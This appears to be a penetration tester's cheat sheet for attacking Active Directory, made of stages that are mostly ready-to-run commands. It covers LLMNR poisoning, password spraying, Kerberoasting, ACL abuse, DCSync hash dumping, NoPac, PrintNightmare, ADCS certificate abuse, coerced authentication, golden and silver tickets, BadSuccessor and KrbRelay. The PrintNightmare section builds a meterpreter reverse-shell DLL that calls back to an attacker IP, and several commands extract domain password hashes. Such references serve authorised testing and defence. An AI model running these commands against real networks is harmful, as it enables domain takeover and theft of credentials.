Active Directory Penetration Test

1. Initial AD Enumeration (Without Credentials)

- Identifying Hosts
  - **Passive**
    - Wireshark: `sudo -E wireshark`
    - Tcpdump: `sudo tcpdump -i <INTERFACE>`
    - Responder: `sudo responder -I <INTERFACE> -A`
  - **Active**
    - Fping: `fping -asgq 172.16.5.0/23`
    - Nmap: `sudo nmap -v -A -iL <INPUT-HOSTS> -oN <OUTPUT>`
- Identifying Users
  - Kerbrute: `kerbrute userenum -d <DOMAIN-ADDRESS> --dc <DOMAIN-IP> <USERNAMES> -o <VALID-USERNAMES-OUTPUT>`

2. LLMNT/NBT-NS Poisoning

- Responder
  - `sudo responder -I <INTERFACE>`
  - `sudo responder -I <INTERFACE> -wrf`
- Cracking NTLMv2
  - `hashcat -m 5600 <INPUT-HASH-FILE> <PASSWORD-LIST>`

3. Password Spraying

1. Extracting and Analyzing Password Policies
   - With Credentials
     - `crackmapexec smb <IP> -u <USERNAME> -p <PASSWORD> --pass-pol`
   - Without Credentials
     - SMB NULL Session
       - `rpcclient -U "" -N <IP>`
         `$ querydominfo`
       - `enum4linux -P <IP>`
       - `enum4linux-ng -P <IP> -oA <OUTPUT>`
     - LDAP Anonymous Bind
       - `ldapsearch -h <LDAP-IP> -x -b "DC=<DOMAIN>,DC=<TLD>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength`
   - From a Windows Machine (Domain-Joined)
     - `net accounts`
     - `import-module .\PowerView.ps1`
       `Get-DomainPolicy`
2. Creating a Target User List
   - With Credentials
     - `sudo crackmapexec smb <IP> -u <USERNAME> -p <PASSWORD> --users`
   - Without Credentials
     - SMB NULL Session
       - `enum4linux -U <IP> | grep "user:" | cut -f2 -d"["| cut -f1 -d"]"`
       - `rpcclient -U "" -N <IP>`
         `$ enumdomusers`
       - `crackmapexec smb <IP> --users`
     - LDAP Anonymous Bind
       - `ldapsearch -h <LDAP-IP> -x -b "DC=<DOMAIN>,DC=<TLD>" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "`
       - `./windapsearch.py --dc-ip <DOMAIN-IP> -u "" -U`
     - Kerbrute
       - `kerbrute userenum -d <DOMAIN-ADDRESS> --dc <DOMAIN-IP> <USERNAME-LIST>`
3. Password Spraying
   - Kerbrute
     - `kerbrute passwordspray -d <DOMAIN-ADDRESS> --dc <DOMAIN-IP> <VALID-USERS-LIST> Aa@123456`
   - CrackMapExec
     - `sudo crackmapexec smb <IP> -u <VALID-USERS-LIST> -p Aa@123456 | grep +`
   - Validating Credentials
     - `crackmapexec smb 172.16.5.5 -u avazquez -p Password123`

4. Enumerating Security Controls

- Windows Defender
  - `Get-MpComputerStatus`
- App Locker
  - `Get-AppLockerPolicy -Effective | select -ExpandPropertyRuleCollections`
- LAPS
  - # https://github.com/leoloobeek/LAPSToolkit
    `Find-LAPSDelegatedGroups`
    `Find-AdmPwdExtendedRights`
    `Get-LAPSComputers`
- PowerShell Constrained Language Mode
  - `$ExecutionContext.SessionState.LanguageMode`

5. AD Enumeration (With Credentials)

1. CrackMapExec
   - Users Enumeration
     - `sudo crackmapexec smb <IP> -u <USERNAME> -p <PASSWORD> --users`
   - Group Enumeration
     - `sudo crackmapexec smb <IP> -u <USERNAME> -p <PASSWORD> --groups`
   - Logged On Users
     - `sudo crackmapexec smb <IP> -u <USERNAME> -p <PASSWORD> --loggedon-users`
   - Sahre Enumeration
     - `sudo crackmapexec smb <IP> -u <USERNAME> -p <PASSWORD> --shares`
     - `sudo crackmapexec smb <IP> -u <USERNAME> -p <PASSWORD> -M spider_plus --share <SHARE-NAME>`
2. SMBMap
   - 1. Check Access
     - `sudo smbmap -u <USERNAME> -p <PASSWORD> -d <DOMAIN-NAME> -H <IP>`
   - 2. Recursive List
     - `sudo smbmap -u <USERNAME> -p <PASSWORD> -d <DOMAIN-NAME> -H <IP> -R <SHARE-NAME> --dir-only`
3. rpcclient
   - SMB NULL Session
     - `rpcclient -U "" -N 172.16.5.5`
   - User Enumeration By RID
     - `queryuser 0x457`
   - Gather All RID of Users:
     - `enumdomusers`
4. Impacket Toolkit
   - Psexec.py
     - `psexec.py <DOMAIN-NAME>/<USERNAME>:'<PASSWORD>'@<IP>`
   - wmiexec.py
     - `wmiexec.py <DOMAIN-NAME>/<USERNAME>:'<PASSWORD>'@<IP>`
5. Windapsearch
   - Domain Admins
     - `python3 windapsearch.py --dc-ip <IP> -u <USERNAME> -p <PASSWORD> --da`
   - Privileged Users
     - `python3 windapsearch.py --dc-ip <IP> -u <USERNAME> -p <PASSWORD> -PU`
6. Bloodhound.py
   - Getting Data
     - `sudo bloodhound-python -u <USERNAME> -p <PASSWORD> -ns <IP> -d <DOMAIN-NAME> -c all`
     - `zip -r ilfreight_bh.zip *.json`
   - Running Bloodhound
     - `sudo neo4j start`
     - `bloodhound`
     - Upload the data
   - Custom Queries
     - `https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/`
7. Snaffler (Hunting Shares for Credentials)
   - `snaffler.exe -s -o snaffler.log`
   - `snaffler.exe -s -o snaffler.log -m` — Enables and assigns an output dir for snaffler to automatically take a copy of any found files that it likes.
   - `snaffler.exe -s -o snaffler.log -f -m` — Limits Snaffler to finding file shares via DFS. Sneakier!

6. AD Enumeration (Without Any External Tools)

- Host & Network Recon
  - `hostname`
  - `[System.Environment]::OSVersion.Version`
  - `wmic qfe get Caption,Description,HotFixID,InstalledOn` — Prints the patches and hotfixes applied to the host
  - `ipconfig /all`
  - `set` — Displays a list of environment variables for the current session
  - `echo %USERDOMAIN%`
  - `echo %logonserver%`
- Firewall Checks
  - `netsh advfirewall show allprofiles`
- Windows Defender Check
  - `sc query windefend`
  - `Get-MpComputerStatus`
- Am I Alone?
  - `qwinsta`
- Net Commands
  - `net accounts`
  - `net accounts /domain`
  - `net group /domain`
  - `net group "Domain Admins" /domain`
  - `net group "domain computers" /domain`
  - `net group "Domain Controllers" /domain`
  - `net group <domain_group_name> /domain`
  - `net groups /domain`
  - `net localgroup`
  - `net localgroup administrators /domain`
  - `net localgroup Administrators`
  - `net localgroupAdd user to administrators`
  - `administrators [username] /add`
  - `net share`
  - `net user <ACCOUNT_NAME> /domain`
  - `net user /domain`
  - `net user %username%`
  - `net use x: \computer\share`
  - `net view`
  - `net view /all /domain [domainname]`
  - `net view \computer /ALL`
  - `net view /domain`

7. Kerberoasting

- `GetUserSPNs.py -dc-ip <IP> <DOMAIN-NAME>/<USERNAME>:<PASSWORD>`
- `GetUserSPNs.py -dc-ip <IP> <DOMAIN-NAME>/<USERNAME>:<PASSWORD> -request`
- `GetUserSPNs.py -dc-ip <IP> <DOMAIN-NAME>/<USERNAME>:<PASSWORD> -request-user <USERNAME>`
- `GetUserSPNs.py -dc-ip <IP> <DOMAIN-NAME>/<USERNAME>:<PASSWORD> -request-user <USERNAME> -outputfile <TICKET-OUTPUT-FILE>`
- `hashcat -m 13100 <TICKET-FILE> <WORDLIST>`
- `sudo crackmapexec smb <IP> -u <USERNAME> -p <CRACKED-PASSWORD>`

8. ACL Attacks

- Using PowerView
  - Check ACL of an owned user
  - Check ACL of a Group
- Using Bloodhound **(Recommended)**
  - Select owned node
    -> Node Info
    -> OUTBOUNT CONTROL RIGHTS
    - Transitive Object Control — The number of objects that our user could potentially lead to us controlling through ACL attack paths.
    - First Degree Object Control — The first set of rights
    - Right-click on the line between the two objects, a menu will pop up. If we select Help , we will be presented with help around abusing this ACE.
- Exploit
  - Creating a PSCredential Object (Changing a user's password)
    - `$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force`
    - `$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN-NAME>\<USERNAME>',$SecPassword)` — Here we create the credential for our owned user
    - `$newPassword = ConvertTo-SecureString '<NEW-PASSWORD-FOR-TARGET>' -AsPlainText -Force`
    - `Import-Module .\PowerView.ps1`
      `Set-DomainUserPassword -Identity <TARGET-USERNAME> -AccountPassword $newPassword -Credential $Cred -Verbose` — Here, by abusing ACL, we change the target's password by providing the owned user's credential and the new password for the target
  - Adding a user to a group
    - `Add-DomainGroupMember -Identity '<GROUP-NAME>' -Members '<USERNAME-TO-ADD>' -Credential $Cred -Verbose`
    - `Get-DomainGroupMember -Identity "<GROUP-NAME>" | Select MemberName` — Confirming <USERNAME-TO-ADD> has been added to the Group
  - Targeted Kerberoasting
    - `Set-DomainObject -Credential $Cred -Identity <TARGET-USERNAME> -SET @{serviceprincipalname='<SERVICE-PRINCIPLE-NAME>'} -Verbose`
    - Kerberoasting
      - `GetUserSPNs.py -dc-ip <IP> <DOMAIN-NAME>/<USERNAME>:<PASSWORD> -request-user <TARGET-USERNAME> -outputfile <TICKET-OUTPUT-FILE>`
      - `hashcat -m 13100 <TICKET-FILE> <WORDLIST>`
      - `sudo crackmapexec smb <IP> -u <USERNAME> -p <CRACKED-PASSWORD>`
- Cleanup
  - Remove any settings changed.
  - `Set-DomainObject -Credential $Cred -Identity <TARGET-USERNAME> -Clear serviceprincipalname -Verbose` — Removing the Fake SPN
  - `Remove-DomainGroupMember -Identity <GROUP-NAME> -Members <TARGET-USERNAME> -Credential $Cred -Verbose` — Removing <TARGET-USERNAME> from the <GROUP-NAME>
  - `Get-DomainGroupMember -Identity <GROUP-NAME> | Select MemberName | ?{$_.MemberName -eq '<TARGET-USERNAME>'} -Verbose` — Confirming <TARGET-USERNAME> was Removed from the Group

9. DCSync Attack

- Cheking Requirements
  - `$sid= "<SID>"`
    `Get-ObjectAcl "DC=<DOMAIN>,DC=<TLD>" -ResolveGUIDs | ? {($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN,ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl` — DS-Replication-Get-Changes / DS-Replication-Get-Changes-In-Filtered-Set
  - `Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol | fl` — Save objectsid
- secretsdump.py
  - `secretsdump.py -outputfile <OUTPUT-FILE> -just-dc <DOMAIN-NAME>/<USERNAME>:<PASSWORD>`
    - `-just-dc-ntlm`: flag if we only want NTLM hashes
    - `just-dc-user <USERNAME>`: only extract data for a specific user.

10. Privileged Access

- RDP
  - Use BloodHound to see if the Domain Users group have local admin rights or execution rights (such as RDP or WinRM).
    `Node Info -> Execution Rights`
    Also check Analysis tab for pre-build queries like:
    - `Find Servers where Domain Users can RDP`
  - `Get-NetLocalGroupMember -ComputerName <COMPUTER-NAME> -GroupName "Remote Desktop Users"` — Enumerating the Remote Desktop Users Group of the given <COMPUTER-NAME>
- WinRM
  - `Get-NetLocalGroupMember -ComputerName <COMPUTER-NAME> -GroupName "Remote Management Users"` — Enumerating theRemote Management Users Group of the given <COMPUTER-NAME>
  - Bloodhound Query
    - `MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2`
  - Establishing WinRM Session from Windows
    - `$password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force`
    - `$cred = new-object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $password)`
    - `Enter-PSSession -ComputerName <COMPUTER-NAME> -Credential $cred`
  - Establishing WinRM Session from Linux
    - `gem install evil-winrm`
    - `evil-winrm -i <IP> -u <USERNAME>`
- SQL Server Admin
  - Basically, with this type of access, we can run customn queries or operation system commands (xp_cmdshell)
  - BloodHound query to hunt for users with SQL Admin Rights
    - `MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2`
  - Connecting via PowerUpSQL
    - `Import-Module .\PowerUpSQL.ps1`
      `Get-SQLInstanceDomain`
    - `Get-SQLQuery -Verbose -Instance "<IP>,1433" -username "<DOMAIN>\<USERNAME>" -password "<PASSWORD>" -query 'Select @@version'`
  - Connecting via mssqlclient.py (Impacket Module)
    - `mssqlclient.py <DOMAIN>/<USERNAME> -windows-auth`
    - `enable_xp_cmdshell`
    - `xp_cmdshell whoami /priv`
- If SeImpersonate and SeAssignPrimaryToken — Can be leveraged in combination with a tool such as JuicyPotato, PrintSpoofer, or RoguePotato to escalate to SYSTEM level privileges

11. NoPac Attack

- Requirements
  - `git clone https://github.com/SecureAuthCorp/impacket.git`
    `python setup.py install`
  - `git clone https://github.com/Ridter/noPac.git`
- Scanning
  - `sudo python3 scanner.py <DOMAIN-NAME>/<USERNAME>:<PASSWORD> -dc-ip <IP> -use-ldap`
- Getting a Shell
  - `sudo python3 noPac.py <DOMAIN-NAME>/<USERNAME>:<PASSWORD> -dc-ip <IP> -dc-host <DOMAIN-HOSTNAME> -shell --impersonate administrator -use-ldap` — NoPac.py does save the TGT in the directory on the attack host where the exploit was run.
- Chaining with DCSync
  - `sudo python3 noPac.py <DOMAIN-NAME>/<USERNAME>:<PASSWORD> -dc-ip <IP> -dc-host <DOMAIN-HOSTNAME> -shell --impersonate administrator -use-ldap -dump -just-dc-user <DOMAIN>/administrator`

12. PrintNightmare Attack

- Requirements
  - `git clone https://github.com/cube0x0/CVE-2021-1675.git`
  - `pip3 uninstall impacket`
    `git clone https://github.com/cube0x0/impacket`
    `python3 ./setup.py install`
- Enumerating for MS-RPRN
  - `rpcdump.py @<TARGET-IP> | egrep 'MS-RPRN|MS-PAR'`
- Generating a DLL Payload
  - `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Attcker-IP> LPORT=8080 -f dll -o notevil.dll`
- Creating a Share with smbserver.py
  - `sudo smbserver.py -smb2support MyShare /path/to/notevil.dll`
- Configuring & Starting MSF multi/handler
  - `msfconsole`
    `use exploit/multi/handler`
    `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
    `set LHOST <Attcker-IP>`
    `set LPORT 8080`
    `run`
- Exploit
  - `sudo python3 CVE-2021-1675.py <DOMAIN-NAME>/<USERNAME>:<PASSWORD> '\\<Attcker-IP>\MyShare\notevil.dll'`

13. ADCS Missconfig

- Enumeration
  - `certipy-ad find -u 'aarti@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled`
- ESC 1
  - `certipy-ad req -u 'aarti@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC1-CA -target 'dc.ignite.local' -template 'Custom_ESC1' -upn 'administrator@ignite.local'`
- ESC 3
  - `certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC-CA -target 'dc.ignite.local' -template 'ESC3'`
- ESC 8
  - `certipy-ad relay -target 192.168.1.10 -template DomainController`

14. Coerced Authentications Methods

- `coercer scan --target-ip 10.0.0.3 -u jimmy -p Password123!`
- `coercer coerce --target-ip 10.0.0.3 --listener-ip 10.0.0.5 -u jimmy -p Pa ssword123! --filter-protocol-name "MS-EFSR" --filter-method-name "EfsRpcAddUs ersToFile"`

15. Persistence

- DCSync
  - `impacket-secretsdump 'ignite.local'/'aarti':'Password@1'@'192.168.1.48'`
  - `nxc smb 192.168.1.48 -u 'aarti' -p 'Password@1' --ntds`
- Golden Tickets
  - `python ticketer.py -nthash f3bc61e97fb14d18c42bcbf6c3a9055f -domain-sid S-1-5-21-3523557010-2506964455-2614950430 -domain ignite.local raj`
    `export KRB5CCNAME=/root/Tools/impacket/examples/raj.ccache`
- Silver Tickets
  - `python ticketer.py -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"`

16. BadSuccesor

- Check
  - `nxc ldap 10.10.10.10 -u user -p pass -M badsuccessor --check`
- Exploit
  - `nxc ldap 10.10.10.10 -u user -p pass -M badsuccessor`

17. KrbRelay

- `$Password = ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force`
  `New-ADComputer -Name "EVIL" -AccountPassword $Password -Enabled $true`
- `KrbRelayUp.exe relay -d corp.local -cn TARGET01 -m rbcd -c EVIL -cp "P@ssw0rd123!" -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8`
- `KrbRelayUp.exe spawn -d corp.local -cn EVIL -cp "P@ssw0rd123!" -t TARGET01`

Presented with xmind